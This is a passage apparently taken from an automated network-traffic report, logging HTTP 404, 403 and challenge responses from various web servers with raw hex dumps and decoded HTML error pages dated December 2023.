30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 2e 36 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 31 70 78 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 34 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 61 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 61 33 61 33 61 3b 0a 20 20 7d 0a 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 43 6c 61 72 6b 73 6f 6e 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 7d 0a 0a 20 20 23 73 74 61 74 75 73 2d 70 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 32 32 70 78 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:31 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveCache-Control: privateSet-Cookie: ARRAffinity=3adacca6c2f81875efead5591d2a8d02faa6e8843c1dd1a10e8da178ce234c0c;Path=/;HttpOnly;Domain=micresearch.netX-AspNet-Version: 4.0.30319X-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=VG3EJvx1lih1FSdL6j%2B4MkBh%2FEgllugjeMe6%2BlpY9P9HvNNa2WwS6iMVPjPsfCfI9EuzGOjUKRVO440BhKQRHj7%2FLjonlvP9I%2FHnbxQwySLYgIJpYWGnAW6bubIOG29ppKw%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83845dd74fe6d9b9-MIAContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 36 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 14 c8 c1 0d 84 30 0c 04 c0 56 b6 00 74 d5 d0 c0 02 0b b1 2e b1 91 43 90 e8 1e 31 cf 99 8b 90 ea 31 72 15 9e 18 60 0a 35 e2 6f 7e 60 8f 44 61 c7 22 39 52 2d 6e 6d 13 0a 37 d8 d5 e1 6c c2 5a e8 c7 b7 91 b0 8e 4b ed 8c 64 5a 7d 30 9c 37 ad 72 a9 fa bd 00 00 00 ff ff 03 00 67 a8 2a 4b 67 00 00 00 0d 0a Data Ascii: 6c0Vt.C11r`5o~`Da"9R-nm7lZKdZ}07rg*Kg
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencontent-type: text/htmlserver: Microsoft-IIS/7.5x-powered-by: ASP.NETdate: Wed, 20 Dec 2023 02:13:31 GMTcontent-length: 58Data Raw: 59 6f 75 20 64 6f 20 6e 6f 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 76 69 65 77 20 74 68 69 73 20 64 69 72 65 63 74 6f 72 79 20 6f 72 20 70 61 67 65 2e Data Ascii: You do not have permission to view this directory or page.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:32 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-123-133.ec2.internalX-Request-Id: 11e01577-2fa3-4da6-8be6-98db398ccc56Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveKeep-Alive: timeout=15Date: Wed, 20 Dec 2023 02:13:32 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 50 2a a0 d4 95 5a 84 90 b8 ac bd 63 7b 5a 7b 37 da 5d e7 03 c4 7f 67 bc 4e a4 84 b8 24 97 68 e7 e3 bd dd f7 66 1c 9f 7f 48 df 3f fc b8 bb 82 ca 35 f5 e5 59 dc ff 41 5c a1 90 97 67 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 6d e0 13 d6 6d 6a 04 b7 59 60 12 38 5c bb 28 b7 d6 67 3c d4 18 32 2d 37 63 78 b1 10 c6 29 34 63 a0 c2 88 06 e1 37 83 1e fe 2a a4 b2 72 b3 8b e9 f4 e5 fc 28 b9 22 e9 aa 67 72 8d 30 25 a9 d9 f4 b8 6b 21 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 9f b9 c9 12 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 8e 2f 96 89 fc a9 34 ba 55 72 e6 8c 50 96 d5 41 e5 0e eb fe 1c 88 d0 c9 38 20 9a 66 ca a2 d6 ab 59 45 52 a2 3a 46 88 23 6f d0 9e 87 fc 06 e6 4a 82 db f4 7b 00 8a bd 48 02 5c 2f c8 60 6f db d6 e9 5d 15 29 89 eb 31 14 ba 66 96 31 88 ba de 35 5d a7 e9 f5 cd d5 bb f4 a1 9f 83 7e 40 4e b7 19 9d 69 b7 a5 3a 0f 43 f8 e8 91 d9 25 f8 ca 23 16 3e 88 12 0a 5a a3 05 cb 42 72 38 24 6b 5b 3e 6a 05 8d ce 88 67 4d e2 92 72 8e 84 e1 c0 ab fc a0 24 7d 49 e8 0f 73 20 45 8e d8 95 0e 11 93 8b c9 74 0e 8d 58 53 d3 36 fb a1 d6 a2 f1 67 91 71 d5 74 be 7b e7 92 70 b5 d0 c6 75 cf 8c a3 ed 42 c4 9d 1f 9e 5e d2 12 48 26 c1 76 c0 7b 31 22 8e fa ac cd 0d 2d dc fe 7a 3c 8a a5 e8 a3 fd 96 48 9d b7 0d 1b 32 59 19 72 f8 ea c0 f4 dd 82 8c e2 ff e2 40 2d 54 d9 8a 92 9d fc cc e8 f7 9e 33 18 0d 42 ed 20 df c0 c8 9a 3c 09 a2 c8 a2 d4 7c f9 27 d6 7a 92 eb 26 2a 4c d3 1d a3 53 fd 2b 1e 0d bd 9a d4 3a 17 8e b4 9a 54 da 3a 60 d8 93 8d a3 4f e9 6d 7a 7f d7 53 7e fb 72 8a 67 14 75 d7 99 3c f2 cc 0c 97 32 67 fc 33 ea 15 fa a7 e4 75 b7 10 bc 02 5e 11 ef 5f ef 1b fb d8 7d e7 fe 02 e4 39 6b fe f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 23aTMo@WLP@qzCPZc{Z{7]gN$hfH?5YA\gqN@^c%AmmjY`8\(g<2-7cx)4c7r("gr0%k!$U2m$n]MRV.\TLX/4UrPA8 fYER:F#oJ{H\/`o])1f15]~@Ni:C%#>ZBr8$k[>jgMr$}Is EtXS6gqt{puB^H&v{1"-z<H2Yr@-T3B <\|'z&*LS+:T:`OmzS~rgu<2g3u^_}9k0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:32 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 196Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-cacheContent-Type: text/htmlX-Server: WEB07Date: Wed, 20 Dec 2023 02:13:31 GMTContent-Length: 103Vary: Accept-EncodingData Raw: 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 68 61 73 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e Data Ascii: The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:32 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-123-117.ec2.internalX-Request-Id: 3cbe75f3-57fc-49d2-9ade-bb340d4a8765Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-cache, must-revalidateContent-Length: 77562Content-Type: text/html; charset=UTF-8Date: Wed, 20 Dec 2023 02:13:32 UTCExpires: Thu, 01 Jan 1970 00:00:00 UTCPragma: no-cacheServer: SquarespaceX-Contextid: 3kEdl2s9/YM3wBpPsData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 2e 36 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 31 70 78 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 34 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 61 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 61 33 61 33 61 3b 0a 20 20 7d 0a 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 43 6c 61 72 6b 73 6f 6e 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 7d 0a 0a 20 20 23 73 74 61 74 75 73 2d 70 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 32 32 70 78 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:32 GMTServer: ApacheX-ServerIndex: llim604Upgrade: h2,h2cConnection: UpgradeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 65 61 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 49 53 4f 2d 38 38 35 39 2d 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 61 6a 70 61 73 63 75 61 6c 2e 63 6f 6d 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 24 52 45 47 49 53 54 52 41 4e 54 31 20 24 52 45 47 49 53 54 52 41 4e 54 32 20 24 52 45 47 49 53 54 52 41 4e 54 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 72 73 79 73 2e 65 73 2f 63 73 73 2f 70 61 72 6b 69 6e 67 32 2e 63 73 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 69 64 3d 22 74 68 65 57 69 64 74 68 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 28 73 63 72 65 65 6e 2e 77 69 64 74 68 20 3c 3d 20 34 32 30 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6d 76 70 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 74 68 65 57 69 64 74 68 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 76 70 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 63 6f 6e 74 65 6e 74 27 2c 27 77 69 64 74 68 3d 34 30 30 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 65 61 64 65 72 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 65 6e 74 65 72 22 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 69 74 6c 65 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 73 65 67 75 69 6d 69 65 6e 74 6f 22 3e 3c 2f 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 3e 45 73 74 61 20 65 73 20 6c 61 20 70 26 61 61 63 75 74 65 3b 67 69 6e 61 20 64 65 3a 3c 2f 70 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 31 3e 61 6a 70 61 73 63 75 61 6c 2e 63 6f 6d 3c 2f 68 31 3e 0d 0a 20 20 20 20 20 20 20 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencontent-type: text/htmlserver: Microsoft-IIS/7.5x-powered-by: ASP.NETdate: Wed, 20 Dec 2023 02:13:31 GMTcontent-length: 58Data Raw: 59 6f 75 20 64 6f 20 6e 6f 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 76 69 65 77 20 74 68 69 73 20 64 69 72 65 63 74 6f 72 79 20 6f 72 20 70 61 67 65 2e Data Ascii: You do not have permission to view this directory or page.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:32 GMTServer: ApacheVary: accept-language,accept-charsetAccept-Ranges: bytesTransfer-Encoding: chunkedContent-Type: text/html; charset=iso-8859-1Content-Language: enData Raw: 31 65 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 0d 0a 61 66 0d 0a 49 53 4f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 0d 0a 65 0d 0a 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 0d 0a 31 33 0d 0a 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 0d 0a 33 38 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 31 30 0d 0a 70 6f 73 74 6d 61 73 74 65 72 40 6d 65 75 72 72 65 6e 73 2e 6f 72 67 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 0d 0a 31 62 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0d 0a 33 39 0d 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0d 0a 35 37 0d 0a 0a 0a 20 20 20 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 0a 20 20 20 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 0a 0a 20 20 0d 0a 32 0d 0a 0a 0a 0d 0a 39 0d 0a 3c 2f 70 3e 0a 3c 70 3e 0a 0d 0a 34 38 0d 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 32 38 0d 0a 70 6f 73 74 6d 61 73 74 65 72 40 6d 65 75 72 72 65 6e 73 2e 6f 72 67 22 3e 7
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 20 Dec 2023 02:13:32 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originOrigin-Agent-Cluster: ?1Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()Referrer-Policy: same-originX-Frame-Options: SAMEORIGINcf-mitigated: challengeCache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Expires: Thu, 01 Jan 1970 00:00:01 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=HoR421oNk12xbMQovfGRURfMGIoHeHcz%2BqJfvc2QSxE3hDp7FYW9jL%2FCNeDcsrJ5J%2BVCvi3UHQFolIiYgyr73TBE16bLwtYc6aIxKhjweGZeLeOSJhMuRzg3fPaR5sR2xXQ%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}Vary: Accept-EncodingServer: cloudflareCF-RAY: 83845ddfcc2967bc-MIAContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 62 66 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 Data Ascii: bfe
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:32 GMTServer: ApacheVary: X-W-SSL,User-AgentSet-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:32 GMT; Max-Age=1209600; path=/Set-Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; expires=Sat, 17-Dec-2033 02:13:32 GMT; Max-Age=315360000; path=/Cache-Control: privateX-Host: grn61.sf2p.intern.weebly.netX-UA-Compatible: IE=edge,chrome=1Content-Length: 3909Content-Type: text/html; charset=UTF-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 